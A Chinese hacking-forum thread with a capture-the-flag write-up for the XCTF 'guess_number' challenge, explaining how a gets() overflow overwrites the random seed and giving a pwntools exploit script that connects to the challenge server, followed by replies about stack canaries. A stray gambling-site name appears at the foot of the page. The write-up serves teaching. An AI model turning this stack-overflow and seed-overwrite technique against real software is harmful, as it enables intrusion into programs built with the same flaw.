吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.aejguz.icu

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 1546|回復: 15
上一主題 下一主題

[CTF] XCTF攻防世界guess_number

[復制鏈接]
跳轉到指定樓層
樓主
yaoyao7 發表于 2019-10-1 20:06 回帖獎勵
guess_number題解

首先進行程序基本信息檢查:



看起來是正常程序,大概就是輸入一個name,然后輸入一個數字,相匹配就成功。(初步猜測是隨機數233333)

IDA查看一下源代碼:



很幸運,程序沒有進行混淆或者反調,直接看到了真實的源代碼。在main函數里,我們注意到有一個gets()函數,這是一個危險函數,很可能會出問題。

繼續往下看,下面的for循環是處理輸入的數字部分,果然是一個隨機數字,猜對了。在這里,有一個if判斷,我們是否可以進行覆蓋使判斷條件成立直接執行到success?不能,因為程序開啟了cannary,沒辦法進行覆蓋。

最后在輸入正確的數字后會執行一個sub_c3e()函數,進入函數查看:



直接執行了"cat flag"。

總結一下,我們就是要輸入正確的隨機數,然后讓程序執行到sub_c3e()函數,就可以看到flag了。那么如何猜對隨機數字呢?

需要注意在產生隨機數的前面有個gets()函數,而且沒有對輸入的字符長度進行限制。來看一下棧中的情況:



我們可以通過var_30對seed進行覆蓋,這樣一來生成的隨機數就變成我們已知的了。  

具體實現:  
1. 通過垃圾字符覆蓋var_30到seed:“a” * 0x20
2. 使用p64()把1按照64位的方式進行排列產生隨機數
3. 調用srand()生成隨機數
4. 利用循環多次輸入進行比較,直到相等。

exp:

[Python] 純文本查看 復制代碼
from pwn import *
from ctypes import *

sh = remote('111.198.29.45',43114)
e=ELF('./guess_number')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0x20 + p64(1)

sh.sendlineafter("name:",payload)

libc.srand(1)
for i in range(10):
    sh.sendlineafter("number:",str(libc.rand()%6+1))

print sh.recvall()



最終獲取到flag:

免費評分

參與人數 3吾愛幣 +2 熱心值 +3 收起 理由
笙若 + 1 + 1 [email protected]
RoB1n_Ho0d + 1 用心討論,共獲提升!
xxxlsy + 1 + 1 熱心回復!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
閑月疏云 發表于 2019-10-2 19:36
本帖最后由 閑月疏云 于 2019-10-2 19:39 編輯
yaoyao7 發表于 2019-10-2 19:12
原本的意思是通過一些覆蓋強行使條件成立,不一定就是覆蓋.text區段。是我沒表達清楚,抱歉

那這樣的話有Canary應該也沒什么影響吧……?Canary不保護局部變量本身不被覆蓋吧(印象中是的,沒打過pwn,錯了請輕噴orz),沒有NX保護能不能直接shellcode?
推薦
 樓主| yaoyao7 發表于 2019-10-2 19:12 <
閑月疏云 發表于 2019-10-2 18:14
pwn感覺也都是腦洞題玩不來orz
不過“覆蓋使判斷條件成立直接執行到success”這個思路有點清奇啊,不知道 ...

原本的意思是通過一些覆蓋強行使條件成立,不一定就是覆蓋.text區段。是我沒表達清楚,抱歉
沙發
a農村老牛 發表于 2019-10-1 20:42
阿阿阿阿阿阿阿阿阿阿,好難學啊 有技術真好
3#
pazmx 發表于 2019-10-1 21:55
支持一下
4#
a1069517910 發表于 2019-10-1 22:00
感謝樓主分享!
5#
cdevil 發表于 2019-10-1 23:02
python3 ctypes確實好用
6#
軒子巨2兔 發表于 2019-10-2 03:28
看不懂。。支持一波吧
7#
古之惡來 發表于 2019-10-2 09:01
感謝樓主分享
8#
 樓主| yaoyao7 發表于 2019-10-2 12:59 <
cdevil 發表于 2019-10-1 23:02
python3 ctypes確實好用

是啊 感覺神器2333
9#
閑月疏云 發表于 2019-10-2 18:14
pwn感覺也都是腦洞題玩不來orz
不過“覆蓋使判斷條件成立直接執行到success”這個思路有點清奇啊,不知道是不是我理解錯了,難道要堆棧覆蓋到.text嗎……
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2019-10-12 07:36

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回復 返回頂部 返回列表
宝盈娱乐平台